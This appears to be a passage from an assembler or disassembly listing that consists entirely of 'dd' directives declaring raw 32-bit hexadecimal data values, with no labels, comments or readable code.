dd 0D3AA2FA3h, 671E43ABh, 4A4B2A91h, 468844CEh, 0A79F023Dh
dd 598FA295h, 96DE6044h, 88091AA8h, 0FA42035Fh, 0F7700350h
dd 0AC338063h, 0A06CBE0h, 9B019C7Ch, 76C0F2B6h, 9720690Ch
dd 0D86C9FFCh, 914017BDh, 0A92687E4h, 7168494Fh, 7FC700D8h
dd 0BEF5F8D6h, 0F3451D0Ch, 4CEAE20Ch, 19C86C26h, 780FC693h
dd 44E47228h, 0E3DB0510h, 564CC54Dh, 2B810D94h, 80A87830h
dd 0C5ABC8A8h, 572500FEh, 0D24A6CF7h, 0D43A7E20h, 0D650FD22h
dd 40C828B4h, 6C4480ECh, 47756E4Ch, 0D172573h, 24CE30C3h
dd 28C03188h, 77DEA6C1h, 244448F5h, 8C70E8h, 0D430E345h
dd 99AFCCB2h, 704B59FAh, 416D58CCh, 8E5808CFh, 0B7CB3C2Fh
dd 998307B4h, 967A20A7h, 0D09D4A3h, 40C2AE5Fh, 5AEDD3E0h
dd 9998A0D9h, 559BCB2Ch, 271AD604h, 0E92DA4C1h, 294563Eh
dd 0AA011C80h, 61031CD4h, 971CBD6h, 89ED2528h, 7CEACC42h
dd 4D78827Dh, 704902FEh, 0B49CEC72h, 938200DCh, 3EA7F88Bh
dd 7671A97Bh, 96C58002h, 6301A24Fh, 0FF301E26h, 0E09798AEh
dd 0E609D2A9h, 0D96B6728h, 1872F114h, 9A79016Dh, 1D211C15h
dd 68016ABEh, 0E81223A4h
dd 0D4F2C033h, 43F45631h, 63930258h, 0DFD2BB69h, 6444047Dh
dd 5AB65F40h, 0D1D3D37Ah, 9F2710E0h, 0C84A9000h, 1C740F99h
dd 0A48AFA04h, 895D1B4Bh, 8C19493Dh, 24C76A60h, 20B55EC5h
dd 0D1C8600Fh, 37520FC1h, 906074C5h, 7E991C38h, 0B14E82A6h
dd 0A4F42BF4h, 27D465Eh, 0AF01D823h, 264F8D2h, 9EF9CB3Dh
dd 84826DC6h, 5440B0B2h, 13882D72h, 3882273Bh, 8CFCE029h
dd 0C1DD9CB9h, 0B5745005h, 0FE10A0FCh, 10F32CC8h, 1013E712h
dd 62200CB4h, 8B34C035h, 1FEA9080h, 217C9607h, 0A812F411h
dd 992E2002h, 0B08EE671h, 29F00B73h, 0D80E5C44h, 171257D2h
dd 72C108C0h, 1C49EDAh, 0E36C439Ch, 1CE4799Eh, 0C3E7FD29h
dd 96D8101Ch, 0B2B10262h, 12BA141h, 7C357EA2h, 30E70144h
dd 9CED2D20h, 0A7DDC850h, 0C14D7D7Eh, 9E7299B8h, 3770ACE3h
dd 192B0105h, 0FAB25CE3h, 0BDD0A330h, 0D4062C09h, 5562F031h
dd 6030CB99h, 0D3F0E758h, 23703A70h, 17980034h, 7F719D62h
dd 668A420Bh, 6D8625Bh, 25B16CEFh, 0F4527521h, 3999F012h
dd 0F00A900Bh, 30A22640h, 3D61170h, 4FEA6D83h, 5D0F988Fh
dd 0B5CD0B35h, 0DCECFC9Ch, 71FDB313h, 1EF8B0B0h, 0C0208C28h
dd 988883FFh, 0E15E1AFAh, 0FA238C2Fh, 0E0D80107h, 0CA92484h
dd 26AF0704h, 1C13046Ch, 93D2E491h, 70A4207Ah, 3B00B008h
dd 2212CBDFh, 1279D4F1h, 0E5925Dh, 3E3A71B4h, 1526B2F3h
dd 619DBC9Eh, 9848655h, 0D81125AFh, 24979778h, 0A80D491h
dd 1C5B2529h, 0C69AE701h, 31FE62C2h, 0C948446Fh, 3FEA02E2h
dd 7E20D0D2h, 906C7FC1h, 0BC7520A0h, 0F8652505h, 40C0748Dh
dd 1E677080h, 0C3E3D0EDh, 8BE21C20h, 65D3B690h, 8545CE1Dh
dd 75BC171h, 3868FF00h, 62F73E09h, 9F284883h, 0A60D0229h
dd 2AFA75E7h, 6D92FC56h, 52B128CCh, 653A901Dh, 0A0421092h
dd 627DBA44h, 2F297B2Dh, 7A09DE6Ch, 843CF173h, 0B8B50DB1h
dd 0CE5F0B80h, 0E190C3E7h, 26BAD45h, 6959F76Ch, 786088E2h
dd 9DB7E081h, 837D91D4h, 899922C3h, 43A9F68h, 0ACD0B110h
dd 8CC78834h, 0ED397914h, 0B22DB10Eh, 0FFC8A171h, 6FC1261Ah
dd 46676D0h, 0AEFE8BC0h, 0A18890A2h, 72547DD3h, 0A80991E4h
dd 68222515h, 42E567F0h, 84CA5FE9h, 59C166C8h, 6DE8BB20h
dd 0F6390224h, 464D214Eh, 0F9017CD4h, 0B2652094h, 0F41C002Fh
dd 24D00F83h, 78819F4Ah, 212FA437h, 732AA0FCh, 3333E218h
dd 0D7786FE2h, 0A2950D74h, 99E35188h, 0DCD295A8h, 7000F408h
dd 71A92BB3h, 9F755Dh, 20A3EB5Bh, 29FDB278h, 0AC44245Ah
dd 3431655Fh, 1804052Bh, 0C016CA85h, 0CB8953F4h, 465E18BCh
dd 1924834h, 7E1AAFF3h, 8C307F6Bh, 0D36A24FEh, 0FD41E484h
dd 0DBD0014h, 0D040F938h, 0F2390E18h, 0B6D3F0h, 8CBCAF60h
dd 0F94FF5D2h, 0B8A37017h, 0C1D9800h, 0BCFCB701h, 399B8812h
dd 2B90C8h, 7F363774h, 0F0943B98h, 7A917C00h, 0E32FA1EFh
dd 20C5004Ah, 0E9A3F317h, 0AB093D9Ch, 8529CFC1h, 34AE10F5h
dd 0F234E240h, 6EEE307Ch, 22A43200h, 0D9B33EE9h, 0F3A55AD1h
dd 46EA0018h, 4BA3CDEh, 88C227B7h, 0E04040ABh, 97B73380h
dd 803691B0h, 0AC11C7ADh, 0B8D01A0h, 3122F9A6h, 0B57DEFDh
dd 35BC4880h, 0CE11C429h, 680E807h, 2D2125B3h, 0AAE2719h
dd 69F5F868h, 2183169h, 65F244h, 4E4D2295h, 0E4266CB6h
dd 2E1C9026h, 76A41F60h, 4CF0B039h, 0D40B176Fh, 0B19DB9Fh
dd 11889FB7h, 14AD817Dh, 0C92EA5E3h, 92604510h, 74400A60h
dd 8E255521h, 0AE2453DAh, 71465E08h, 85CC4700h, 315F8674h
dd 0E0A8A0B8h, 0C8836878h, 4A0D0FEBh, 0D26827A1h, 94E22D67h
dd 3D1FDC56h, 5CE42621h, 2601CE46h, 3FF5BFBCh, 1C4700Ah
dd 4038CB22h, 608AB61Bh, 483611D0h, 0E5113867h, 411702A7h
dd 0D1DEC1CFh, 186ED9A0h, 693494F7h, 0ED030851h, 0C02DFF60h
dd 0EAB09AD0h, 820F1820h, 8AA721DAh, 69032272h, 0DDB9F2B4h
dd 1C3790ABh, 71A60A81h, 13A83A12h, 17D48828h, 0C0D04395h
dd 98A71BD8h, 9824A28h, 0ECEA84C8h, 983757h, 0D875D669h
dd 23985D2Dh, 0ACC13A5Ah, 4C25E013h, 0C92F18D9h, 6DFDD06Ch
dd 50968092h, 20CD22C2h, 5EC6436Fh, 5482A718h, 14D0B239h
dd 9C299167h, 7EEA3022h, 22DF5927h, 5CA663B4h, 3EB9864Ch
dd 99122911h, 0A0D2DC20h, 952C7A4Ah, 3091F097h, 91A61E81h
dd 9EC09F2Fh, 5EC49C60h, 0CB02D546h, 0A3B9532Eh, 7A08B0FEh
dd 0E4821629h, 3C4B7684h, 4FC84C39h, 0F4123C4Dh, 0E6207A44h
dd 0F3F05A2Dh, 0AEF70280h, 51D36F4Eh, 800CA8A4h, 5867B294h
dd 4D29D458h, 74982498h, 7E3546h, 8B091328h, 9AF04329h
dd 0E9558CB0h, 82FDDED0h, 0DFE41D14h, 0E1C63022h, 2726A00h
dd 88B1C1E0h, 0E9B6B41Fh, 4026C478h, 21B120Ch, 3D5221E3h
dd 0F4809F35h, 4BDAF616h, 0D33DC037h, 15B28B92h, 8E8060EDh
dd 0C6A41CF3h, 9C70E541h, 10C5E900h, 1FA1F116h, 0DB0A257Dh
dd 46DE4A4h, 141D6B8Ch, 0D820A888h, 132CFA0Bh, 49CFA17h
dd 29DC19D0h, 0A718C21Dh, 0CB7C6821h, 2B97C439h, 0D523D8h
dd 27062FD8h, 8F021C91h, 0A6613817h, 0E4685086h, 4015591Dh
dd 0A2314112h, 0E2D11014h, 0BA4D1F0Eh, 24CBB8F8h, 0A448D309h
dd 3564741Dh, 0C9A081D1h, 219E08E2h, 0E52D6929h, 60D8641Ch
dd 611C609h, 29B7B4Ah, 0ED04D1CEh, 0FCF67529h, 2E1024AFh
dd 1F8C7088h, 0D20E6204h, 0C928ACADh, 71B0F191h, 36C18E0h
dd 0A9CF0B8Ah, 9B8FB9Fh, 755FFDB1h, 39C00C00h, 9D7C4B81h
dd 4D666C00h, 161761C7h, 0DBE22Eh, 0AA57C080h, 0A1118ED4h
dd 73131E3Eh, 0DC500B4Dh, 5F61F87Ch, 0C86F56AEh, 5241A560h
dd 7C62D820h, 9492976Dh, 405010F3h, 0AB8A0209h, 22CCD8FFh
dd 0A4349855h, 0BB322E15h, 0A4602D98h, 0D342654Bh, 0B7BFFB22h
dd 84520054h, 99FD5F94h, 0E7123803h, 506932AEh, 9737A2D1h
dd 280974E4h, 9569868h, 64C04750h, 0A3DD606Eh, 0A4909561h
dd 0DE41D95Eh, 0ED092462h, 0E4C91A5Dh, 9C007B3Eh, 0AC21D7ABh
dd 0A2294E18h, 2BB28498h, 23283BEEh, 5B630034h, 41D46F1Fh
dd 615E2D01h, 0D896429Eh, 45F98451h, 86F80404h, 69840578h
dd 75C8D08Fh, 0CB87C6C0h, 0D0F60B85h, 60844D6Dh, 0C5448840h
dd 3633D71Ch, 9D1DFB82h, 828F0134h, 0F179A5B9h, 18D779DCh
dd 14CEE5Dh, 0A309796Fh, 4D3C6C20h, 0F0DC66F4h, 9049C546h
dd 983B0BE8h, 0F4D8CD76h, 465EE0B6h, 4CD9006Fh, 0CC436E5h
dd 883F5BBEh, 0E7004374h, 0E5C88161h, 0BAA3127Ah, 47A70B64h
dd 0FD000170h, 77AEDE6Ah, 924DBC02h, 553DCA90h, 0C0D11492h
dd 0D718D579h, 695F7C00h, 6E04A2C5h, 0CCAA4826h, 52850112h
dd 0F2A0E254h, 701131CEh, 100A85D3h, 0E891F818h, 263213DCh
dd 7EDF0218h, 1CC6FACDh, 82295960h, 93B6947h, 2A5520C5h
dd 665FE4E0h, 39098D04h, 0BCBC65E6h, 6A8B8207h, 0F8DEFBDAh
dd 58A2231Fh, 9901B4C8h, 4EFD6D6Fh, 802C38F4h, 0DDEC0B0Dh
dd 24E85F2Ch, 0C1C4C464h, 9FCFEA89h, 0A83F9570h, 9F4E10E0h
dd 4A8C80D1h, 0C6A8CC7Ah, 9813200Bh, 4050DC1Bh, 0DBB59E87h
dd 70A38B4Bh, 75E84048h, 7F59008Ch, 5A9C82EDh, 2A255BD6h
dd 0C12CE4FEh, 0A6DEB92Eh, 14567E4Eh, 204E0089h, 0FDC2FA88h
dd 0CFA060B4h, 0C28F7E87h, 0C2A828FCh, 1B3A6048h, 1A0A209h
dd 0CEA0674Dh, 0A1C88E11h
dd 1DD4BDFDh, 5E092063h, 80E5D895h, 4656B0AEh, 0F606122Eh
dd 166F60F0h, 115EB80Eh, 787C9480h, 0B2770B3Bh, 481DED9Eh
dd 0F6802E11h, 9EDB30Dh, 98C00097h, 7A15AEEFh, 430B6D5h
dd 0D05217A6h, 9D0706C0h, 28C0B700h, 21BAE449h, 5DF20BE0h
dd 58D0F730h, 2CF4A21h, 0C2A65F6Dh, 0F9298458h, 248BFCE1h
dd 8224326Ch, 24E949A8h, 40BAA5Ch, 8674D0D9h, 0E15D251Ch
dd 698B8479h, 4904785Ch, 27A1C96h, 1D1F2E0Eh, 2277EEE3h
dd 0F480FF50h, 101818B0h, 3845A91Ah, 68288C3Bh, 0B2485D2Dh
dd 0A5328994h, 0B804B380h, 0B9866660h, 2021BD81h, 10EEE71Dh
dd 0BFCB4D4Eh, 263A44CCh, 0E8FF1425h, 166DB020h, 2D7688FAh
dd 85F0D641h, 7B4BEFEh, 66A86B4Ch, 112DF019h, 2D7CE931h
dd 0CD72C043h, 22101CE6h, 0D927A2A0h, 18367940h, 6C4800D8h
dd 1814073Dh, 604C034Ch, 85132F74h, 0C4F2BFA4h, 0EC008E7h
dd 99FBF616h, 0EF048140h, 31DC18B4h, 82CAFD84h, 5E9F0119h
dd 0EA5C6898h, 0B3C8000Eh, 0B06BFF49h, 60BF09FDh, 0A4BD4Ch
dd 0EBBB390Fh, 21B52095h, 3FAAF900h, 682BEC1Bh, 0C5DE658h
dd 1F724C31h, 87001120h, 7BB16B9Ch, 0F8FB8368h, 9BE70238h
dd 80EC2620h, 0FF9EA0F4h, 640890C0h, 72B9767h, 28F4305Bh
dd 0F3E0B2E2h, 230E3860h, 0F7001F74h, 629133A1h, 99E99E69h
dd 1834D104h, 48F13ABDh, 8866FF82h, 604261E0h, 7A00A478h
dd 125A5F62h, 0B51BECBAh, 71748C45h, 2478B08Ah, 0C6410ACh
dd 0AD086459h, 18C40748h, 7A1016B4h, 3508C30Eh, 0B5E129DBh
dd 53108C15h, 403740A7h, 0E566B143h, 3109A510h, 9518174Fh
dd 67088C32h, 40C05802h, 9B620733h, 22BDF28h, 6C0F3D4Bh
dd 668B0870h, 19DF70DDh, 1715C63h, 71810DCh, 6CAA1825h
dd 0C6CFBD08h, 10624420h, 536188E1h, 0D6760C28h, 93816A11h
dd 318119A6h, 8CEF9008h, 8EBC920h, 184B6395h, 818207Bh
dd 0B818D966h, 0CD08CCD5h, 0D763FAD9h, 20272410h, 9F32D2A9h
dd 0A2B508CDh, 22F93A8h, 0B4031108h, 232010ECh, 3F821003h
dd 86312035h, 0E1F81025h, 39C428CCh, 9859DE9Ch, 69DC1065h
dd 312B08C4h, 47BDD04h, 0D5041210h, 0E79B0686h, 35D72038h
dd 63371520h, 83BFC974h, 4EDF0810h, 30FB0618h, 69D11BA3h
dd 50D218B4h, 0C4D8CD08h, 40DA620h, 0F044DA8h, 0C16A0C19h
dd 0B18C40B6h, 0D46EE4A8h, 0CF54EC80h, 61396D10h, 0A332023Ch
dd 144903A0h, 88066F10h, 0C3098D31h, 36189251h, 6B570046h
dd 8E234071h, 0B8086D66h, 439C20D1h, 24081ED8h, 148C908h
dd 365C6822h, 0FC44DD05h, 1045E6Bh, 7759062Dh, 0CEB73208h
dd 4048AA20h, 1B81625Fh, 46845192h, 8668B6Ch, 30CA7270h
dd 0DE88D82Ah, 9AE1884h, 18CAF0B2h, 0E28C9CD8h, 40814805h
dd 8D62D97Dh, 387B620h, 810757Ch, 0A81048B5h, 9C6C185Fh
dd 803A1328h, 10DD9DF3h, 0E25488EAh, 6A40F0F0h, 0A78840BCh
dd 22087862h, 7AF20228h, 2805B02h, 4F032FB3h, 0CE5010A9h
dd 0C3C2437h, 154ACF88h, 1C10941Dh, 88B62A73h, 20618720h
dd 0DA5410F1h, 0B540F684h, 906C4046h, 623C404Dh, 314F831h
dd 81846DBh, 5538D04Ah, 6F4B80B3h, 18F9B1CCh, 0E7444041h
dd 0A9030F40h, 0D195BF9Ch, 2810E87Fh, 0FA981845h, 0D5583B20h
dd 15153C61h, 0FC318C3Eh, 25F39320h, 0C1D811ECh, 5431840Dh
dd 0A4C81395h, 88690933h, 7C5055B1h, 6018AB78h, 1105049h
dd 0F04002Bh, 0A2D7FF2Ah, 6E5FB6A4h, 0B88468A4h, 0A88C0330h
dd 62DF61EBh, 0D5FDCF8h, 64BEC800h, 71DA2877h, 68C4BF1Ah
dd 0CA00E3F0h, 905A9AEDh, 0E97394Fh, 0C3193CD0h, 682F4340h
dd 67909382h, 0D9AC0F06h, 4101EFh, 0ED96D419h, 3EBE2FA3h
dd 184C1731h, 91E0F798h, 0C9B200EAh, 6F3DD396h, 0AA00FBB9h
dd 0AD7DCDA8h, 396AE9F5h, 88DD8512h, 0AB3DCC05h, 1AECE9DEh
dd 60691DCDh, 59999ED5h, 0F1179C98h, 0F5CC00ACh, 8329C81Ah
dd 46A93300h, 0D0A8AB1Ch, 0BE35001Bh, 0D938B66h, 0CB0741E9h
dd 0C82D64BAh, 2C0A0C75h, 0E82FA682h, 0FC3D9CBCh, 0F2AB1EA1h
dd 793907C5h, 82981032h, 28C5292Bh, 8603D2D3h, 10925712h
dd 8C0AE9A8h, 595F8A0h, 69CDB2EEh, 394AD85h, 82ED8EB3h
dd 2CC0FDC9h, 0C613D9Fh, 0BBD5127Eh, 0A33D1448h, 692A0051h
dd 3013D787h, 4B121B58h, 81DF205Dh, 8F2D7882h, 62119A50h
dd 40A57058h, 2401A1DAh, 4C50Fh, 9AC74DF6h, 13183D9Dh
dd 41A9D0E3h, 0E8890E68h, 0D854A4FFh, 0D0B9E736h, 0F4E5CB20h
dd 0B31D2844h, 7DEF00ECh, 9BB9F133h, 0DC038912h, 2D41B2DEh
dd 0F5383D78h, 360BF90h, 36824821h, 9FA00C65h, 0B080CD97h
dd 2221ED60h, 1EDB2AF2h, 0B0838292h, 6527E929h, 0B6DF9E07h
dd 3F85111Ah, 109A0800h, 3E818FAFh, 5C8635DBh, 0D1D23612h
dd 10E42653h, 8400E728h, 0BA3BC99Eh, 0E30301BEh, 70417C52h
dd 50286567h, 0A3960F55h, 402635E6h, 12837909h, 0F66C501Ch
dd 1A0A04Bh, 0A85D51DAh, 0E874B088h, 0F8A4DA3Ah, 30187C69h
dd 3E184B58h, 641E41E4h, 0EF016B8Fh, 0A6760294h, 54734095h
dd 747E3D10h, 0A4240890h, 5D165427h, 22DA8E2h, 0DB00408Fh
dd 6F04AA78h, 97284307h, 0AC807F16h, 33431A4h, 9D8E613Ch
dd 0CFCA4022h, 9AE72498h, 0E6C4A500h, 86CCA39Dh, 667398h
dd 29C39131h, 5E69AD2Bh, 48A408A1h, 0ED48B6FCh, 0C92C91B4h
dd 93BC21ADh, 0EC52D794h, 68F48FFCh, 672F016Ah, 87EB2783h
dd 0E421A018h, 69C9B340h, 1324A05Ah, 12D4B698h, 1F18B0D3h
dd 0C7009C4Dh, 81186B41h, 255E9E0Fh, 5945F8C8h, 41680A06h
dd 4820F214h, 502CAECh, 8C028DD1h, 9750F4D0h, 0F0308264h
dd 0DCAB7857h, 4EC7231h, 1289E983h, 3828F06Ch, 6D46E52h
dd 5301C1Ah, 1ECA249h, 912B3ED4h, 3F41F040h, 420D00EAh
dd 0EB1B38C6h, 0AA18D5D3h, 0F728DFA4h, 4538D2A2h, 0F81A4180h
dd 5CC25E2Ch, 2E0C604Ch, 8C589763h, 14B74624h, 40A2AA0Ch
dd 0CFEE071Ch, 408204F8h, 2771E8EFh, 8106CCE8h, 9E2029Ah
dd 884B5098h, 3DEC241Fh, 0D4CA81D8h, 21F221C2h, 0CF71C0AAh
dd 0CE3F99E8h, 5035B28Ch, 0D3604092h, 0ACE0EBDAh, 0F584803Ah
dd 1DB7FE00h, 98F127C1h, 8B6E0E39h, 0D4405EC4h, 0A59559CFh
dd 8FB7D203h, 3FCB282h, 412EA038h, 0E100DD26h, 0D299316Dh
dd 588485h, 91E4FAEDh, 0D9D3259Ah, 0EA93CA06h, 142AA1DAh
dd 0FC352213h, 0EC61DBB0h, 1993A06h, 0A992636Fh, 0E52B8298h
dd 6C74E2D4h, 1E029E02h, 90A0A4C4h, 63825500h, 980F33C6h
dd 0B39699Eh, 6C08400Ah, 5BCC78C7h, 0A3008372h, 2F1D11E0h
dd 0FFB0B60Fh, 41CB4099h, 60C4011Ch, 71F858C7h, 50A1F6AAh
dd 3A246061h, 3ED61C01h, 3D6532DEh, 0C7D68D8h, 429A0108h
dd 0A2499428h, 0B7BB101Ch, 64288C4Dh, 44E758FCh, 0DE2C1309h
dd 7D96A098h, 877E80h, 0E9E1EDE7h, 68E4FE42h, 0D9A9203h
dd 0CFD5A1BBh, 0D9B622C0h, 1CF690FFh, 400BB035h, 0F8DA89EAh
dd 4B00DDAAh, 692781EFh, 0C0C186h, 0ADAB2C20h, 0A5AA230Dh
dd 5F5E6600h, 6A80357Ch, 5AE80005h, 7E696D0Eh, 0A8003876h
dd 0E0CD6B15h, 92EF2282h, 8448E3A0h, 0F4884867h, 44A3F422h
dd 2010C5FCh, 4312F7A4h, 4C302963h, 0E9F8145Fh, 0A2121044h
dd 0FAAC49CFh, 2511D0A0h, 0F81E9FC1h, 0D0390E69h, 81280108h
dd 82FAC859h, 20A24800h
dd 5FE3D28Fh, 4A8A425h, 7441D52Bh, 57B8D1ADh, 0AA0420CFh
dd 4B7FD700h, 7C26A5BEh, 37E900E6h, 0EFB4DEF1h, 2F00241Ah
dd 86C56305h, 6A8F8D6h, 5282E6AAh, 16E0F97Eh, 3AF8DA4Ch
dd 60063241h, 1ED061F6h, 554BCF0h, 129A67E9h, 0A208411Dh
dd 800A2F01h, 27DECCF0h, 589A9781h, 218B240Fh, 15787C80h
dd 0B0508060h, 67749CA0h, 140D0B0h, 6D0B26A2h, 90EE648Ch
dd 1199F428h, 7C552124h, 399A9F00h, 9D9FA0Bh, 23B501D2h
dd 0AA6CA820h, 8402BFD8h, 0E441F7B7h, 988C4ECh, 9E2204B6h
dd 0D5EEF801h, 9E53067h, 0AD540114h, 97CD02B8h, 0E0D622F9h
dd 4C66D08h, 69028E91h, 0A8BC93A7h, 931301A0h, 0C0D33C06h
dd 92A08AE9h, 7385E68h, 403564D4h, 127C6137h, 0F0B0F75Bh
dd 3DFD0197h, 4CEC6EFBh, 82A070D7h, 0BCF3D92Ah, 697CAC50h
dd 89205F58h, 6108A265h, 0B2FC02A7h, 57FC066h, 899C6B52h
dd 0EB870767h, 964C188Bh, 4DB50115h, 0A2BB2B9Ch, 0F831F034h
dd 3EBA9D18h, 26D708F0h, 1224EB83h, 97E005A4h, 289004A2h
dd 0D6BD00B2h, 7863981Dh, 0E802BD24h, 5441319Fh, 419A81Ch
dd 83F13345h, 0D6108463h, 8C084CC9h, 1A28A0E7h, 28606933h
dd 4B0EBC94h, 8B26C755h, 0ED001335h, 12B5DC80h, 982E126Fh
dd 5CFC003Ch, 0F43F66C9h, 0ECC7AA00h, 0C07585DFh, 6BC52C4Ah
dd 0AC3E4148h, 0E0824AFh, 20ABF001h, 1E45AABBh, 0B101830h
dd 1772457h, 6F377F80h, 8707B7DEh, 0FFAADC98h, 68EA09C0h
dd 46B00CDh, 2442AC51h, 400417C5h, 0C8417FC3h, 679A5891h
dd 0EA007C22h, 23991026h, 0E730823Bh, 0BAD3E836h, 32540FCAh
dd 0B8F40872h, 2C503E1Dh, 443796CCh, 0C22F9618h, 28812588h
dd 241D0AE7h, 0AA2FF50Ch, 0BDB0A5ADh, 0C02404C9h, 50B09292h
dd 2F26B868h, 14606941h, 341C3B42h, 0E9968229h, 3C6ADC14h
dd 2F6618D1h, 48056BA0h, 0D000CCCh, 28BF9ACh, 4C9AF267h
dd 9C9F94B1h, 0F8D0780Ah, 9F038480h, 3AB37D5h, 0BE0C9AD7h
dd 31E76690h, 8039C73Ah, 4D7DB218h, 7F740112h, 0A9EC63B0h
dd 6EC26CE6h, 4500885h, 0B82401FCh, 34654A50h, 1ECE0480h
dd 0CC627501h, 3B986720h, 16C43349h, 4C07A898h, 4C823D64h
dd 0E6A06017h, 43962D41h, 0BEC7B0E0h, 2822AB16h, 0D23BA844h
dd 41B0CA00h, 70C17B08h, 34991C4Ah, 0A60408A6h, 0A5A5D4h
dd 98CD8682h, 60251090h, 0E2C0B845h, 0CC2488FDh, 0F12A009h
dd 0E9600230h, 1B00710Dh, 4075F826h, 80C2AFBh, 58646994h
dd 6197002Dh, 0A557F920h, 0BC7802A9h, 0C2440A9Fh, 4061D597h
dd 20910466h, 0D86399D3h, 13BC942Ah, 58A5A1C1h, 7F5E18C8h
dd 0C850AA4Ch, 3EB1267h, 0EDBEB150h, 0FE2212B0h, 0C8202F81h
dd 0B9531737h, 287564h, 1E7139E8h, 50B8BBC5h, 0CA318327h
dd 13084064h, 30876008h, 9A9E29E9h, 19DEE06h, 48C8C3CDh
dd 821310B3h, 989C44E6h, 0A94CC430h, 0D130C78h, 6C140D8h
dd 9012F641h, 0D329105Ah, 0F10ADC9Ch, 0C061A0AAh, 14359DD7h
dd 3FC1A000h, 1011D4B5h, 30D19914h, 31A0904Ah, 13F6E02Bh
dd 0FCD7722Ch, 2DDF01C1h, 0A3589806h, 973E0024h, 13F40F06h
dd 84E9097Ah, 20D712h, 333E733Bh, 0E8DFC500h, 8F48ABAAh
dd 0E9DD0519h, 8B989C93h, 9900751Ch, 2ECCE81Dh, 0E6F4DC9Ah
dd 3CA33002h, 114A8279h, 0D488B0C3h, 0DBA7C1F6h, 54976C20h
dd 4057B424h, 70033AD1h, 0FB4C29DFh, 0BD3EB1Eh, 2801228h
dd 46EA5C01h, 3E0C706Ah, 301C190Bh, 8A8880CCh, 0E8CF7201h
dd 0F6897405h, 8D2B2541h, 4C22B4C0h, 16A18F05h, 0D0901E01h
dd 4DB2F094h, 1382F8CBh, 980A6BC1h, 41AECE2h, 38C4B165h
dd 0C34F7C84h, 0B4945002h, 1CC59E7h, 0A299C8B3h, 111C210Ah
dd 154B24h, 4AAB66h, 963BC591h, 182241A1h, 7012F308h, 1C321F8Ah
dd 0F47400D3h, 0BA0E1339h, 542318D3h, 0AB082423h, 0A1416168h
dd 8468A552h, 1024C20h, 4860FF22h, 1E908284h, 32E6A880h
dd 60147E8h, 9AF10BC1h, 6ACD4922h, 10BD022h, 44A0501Dh
dd 0F397BC15h, 62BF1E01h, 0D912C760h, 0BE9A064h, 57878943h
dd 13E1400h, 90C3D575h, 0C1114295h, 5070944Eh, 80EC0191h
dd 0F6D6EE3Fh, 0B470D4E9h, 903ADB7Fh, 9A0F0018h, 4CF2C368h
dd 11692F05h, 48CB9C61h, 0EC881BC8h, 0ECC748B2h, 0A23FDC43h
dd 83001DC0h, 68463699h, 163A8666h, 30E67961h, 0F91B4058h
dd 304AE0A1h, 1D589CC8h, 22C685E8h, 0E77CAC00h, 327BF04h
dd 0C55EE9C1h, 0C6A06833h, 7EF64139h, 9BF678C1h, 70200C13h
dd 5AFE079Fh, 831F69A3h, 7049BF18h, 0CC010C48h, 4072A935h
dd 3A00DB7Dh, 0DAE91D90h, 13A7CDCAh, 8B3B1A5Ah, 0AC8110C8h
dd 32694A00h, 0A9337B29h, 0AB1C3E00h, 2DE6F5D8h, 3B41265Ah
dd 78D4810Ch, 0DAFC8F59h, 2CD258C0h, 0D874B082h, 643181E7h
dd 490EE954h, 200189A2h, 0AA7E0A9Bh, 0C8305893h, 73F4BF03h
dd 0F49FA22Bh, 33D0B0FBh, 0FAE0102Ch, 9EE3F105h, 0DDF084D7h
dd 9C23C89h, 60728224h, 0FBBB0E8h, 0F0EA9280h, 0EC17011h
dd 83295549h, 38CC014Eh, 4213CD20h, 0CED7h, 0F1E4FFF6h
dd 1284B02Ah, 40F71249h, 9925D4D0h, 0E909BE0Eh, 4896B081h
dd 18A01E0h, 0EC8EA6CFh, 28A0F793h, 0E91383F8h, 2A112EE1h
dd 1D42E264h, 7977A84Eh, 4CBC4982h, 139E1420h, 488E13Eh
dd 89DFA42Ch, 3B9C2CB4h, 47538FA7h, 486F8D13h, 0AB20D400h
dd 0F0C800A8h, 5B695D24h, 0B7012885h, 3EBAB2A2h, 6882ABEBh
dd 5F013B49h, 0E90100D6h, 3121A170h, 0EE3F1C6Dh, 13175AC0h
dd 2890CD6Dh, 7DD7C46h, 0ADB27260h, 8E56CE90h, 58B12C24h
dd 81D5AE89h, 413DA004h, 0FF28D06Ah, 91799EA3h, 1B377400h
dd 29BB3571h, 0AA330088h, 0E3AC1F43h, 0C01591Ch, 0A39069A2h
dd 2D31C2h, 82A1E630h, 60C0CE57h, 5B415678h, 0ABF280D1h
dd 9960C707h, 0D3C25F38h, 0D6A48095h, 809A8Dh, 29B5353Bh
dd 45A9277Eh, 0CD0F1E7Fh, 2082EAE6h, 99F7BB7Fh, 0D2F20422h
dd 0E2455FFFh, 0A85116E8h, 291850CAh, 0A9AA88D0h, 5A446896h
dd 69D49B21h, 42E42184h, 842BCB67h, 0E9416F08h, 62D98312h
dd 803D9F14h, 0F7FFF407h, 62E32A5h, 0F4133EDh, 3CFB2075h
dd 9A821CCCh, 0F24890ADh, 0AF832D94h, 28BC8861h, 653E0B14h
dd 846844D5h, 0D0A9645Ch, 0D24B0A0h, 23F1E662h, 0D0B200D7h
dd 0EF59F041h, 0D5516308h, 7441045Eh, 0E0AB9101h, 49C4A424h
dd 9A00A848h, 0FF03CA24h, 6F372700h, 0C008CCA2h, 2F1D011Ah
dd 0E4948705h, 144E09Ah, 94C81920h, 282614A4h, 12EDBC02h
dd 2C5032DFh, 0B6D92207h, 85AFA234h, 0A040777Bh, 0C05E3E04h
dd 9F270106h, 3435723Ch, 1590F464h, 0DF038AE8h, 2D47DCAAh
dd 0D7A81088h, 691A03D3h, 4CBF4F01h, 0FEE1B880h, 0D0320728h
dd 8668D997h, 283F3201h, 16909100h, 865DDE9h, 14C8F11Ah
dd 5A411235h, 0F65003B8h, 3AE0E5B2h, 0C0300113h, 9A8F70ACh
dd 0CB201F45h, 6E38C0F9h, 0E229BA79h, 1154A06h, 0F4600D6Bh
dd 247D2F82h, 0F62D20A0h, 26249340h, 75003A83h, 8D43FEDFh
dd 35122642h, 1EE980F0h, 0A1E3B6D8h, 9A282C90h, 0C11CBB01h
dd 63598227h, 7C30F950h, 70E0A84Ah, 0FAD480F7h, 0F2D74700h
dd 3A8FB4B2h, 29340139h, 5201E484h, 6EC087DAh, 940A9396h
dd 24463C08h, 0A2888808h, 9E699C01h, 0EC472D50h, 28279100h
dd 58F448AAh
dd 484B551Ah, 26F2B4C1h, 2D852154h, 7CF06C80h, 4C26C7EEh
dd 1B0024B5h, 165B03ABh, 414A2697h, 0A029B5h, 0C4D08E7Eh
dd 0C9FAE52Bh, 0D9AB0302h, 422F1112h, 12785024h, 9A35713h
